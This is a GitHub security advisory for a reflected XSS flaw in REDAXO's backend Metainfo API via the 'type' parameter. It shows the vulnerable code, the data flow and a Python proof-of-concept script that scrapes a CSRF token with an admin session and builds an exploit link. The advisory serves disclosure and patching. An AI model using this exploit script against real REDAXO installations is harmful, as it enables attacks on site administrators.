GitHub Advisoryadvisory · Packagist

GHSA-m662-8jrj-cw6v REDAXO has reflected XSS in backend Metainfo API via type parameter (CSRF token required)

LOW Published 2026-04-10 Modified 2026-04-10 Official page ↗
Ecosystem
Packagist
Packages
redaxo/source
Severity
Low
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Weaknesses
CWE-79
Reviewed
2026-04-10

Affected packages

• Packagist redaxo/source: < 5.21.0 → fixed in 5.21.0

Description

Summary A reflected XSS vulnerability has been identified in the REDAXO backend. The `type` parameter is concatenated into an API error message and rendered without HTML escaping. --- Details Root cause User input `type` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping. Vulnerable code (`redaxo/src/addons/metainfo/lib/handler/api_default_fields.php`) : ```php $type = rex_get('type', 'string'); throw new rex_api_exception(sprintf('metainfo type "%s" does not have default field.', $type)); ``` Sink (`redaxo/src/core/lib/view.php`) : ```php return '' . $message . ''; ``` Data flow source -> sink • Source : `type` (GET) • Propagation : concatenated into the exception message • Sink : rendered via `rex_view::error()` -> `rex_view::message()` without escaping Authentication required : yes (backend session) --- PoC - exploit ```python !/usr/bin/env python3 import re import urllib.parse import requests TARGET_URL = "http://poc.local/" BACKEND_PATH = "redaxo/index.php" SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx" VERIFY_SSL = False TIMEOUT = 15 PAYLOAD = '\">' def build_backend_url() -> str: base = TARGET_URL.rstrip("/") return f"{base}/{BACKEND_PATH.lstrip('/')}" def extract_api_csrf(html_text: str) -> str: m = re.search(r'rex-api-call=metainfo_default_fields_create[^"\']+', html_text) if not m: raise RuntimeError("Could not find the metainfo_default_fields_create API link in the page HTML.") fragment = m.group(0).replace("&amp;", "&") token_match = re.search(r"_csrf_token=([^&]+)", fragment) if not token_match: raise RuntimeError("CSRF token for metainfo_default_fields_create was not found in the extracted link.") return token_match.group(1) def set_session_cookie(session: requests.Session) -> None: parsed = urllib.parse.urlparse(TARGET_URL) if parsed.hostname: session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/") def main() -> None: backend_url = build_backend_url() s = requests.Session() set_session_cookie(s) # Admin backend session required r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL) if "rex-page-login" in r0.text or "rex_user_login" in r0.text: print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.") return r = s.get(backend_url, params={"page": "metainfo/articles"}, timeout=TIMEOUT, verify=VERIFY_SSL) if r.status_code != 200: print(f"[!] Failed to access metainfo page (HTTP {r.status_code}).") return api_token = extract_api_csrf(r.text) params = { "page": "metainfo/articles", "rex-api-call": "metainfo_default_fields_create", "type": PAYLOAD, "_csrf_token": api_token, } exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}" print(exploit_url) if __name__ == "__main__": main() ``` The script uses only the provided PHPSESSID, retrieves the CSRF token from the metainfo page, and prints a ready-to-use exploit link. --- Impact • Confidentiality : Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session. • Integrity : Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call. • Availability : Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios. Video https://github.com/user-attachments/assets/251f548c-3f68-483b-a012-b8fc28493a83

Related

Weakness · CWE (1)

  • CWE-79 Improper Neutralization of Input During Web Page Generation weakness

References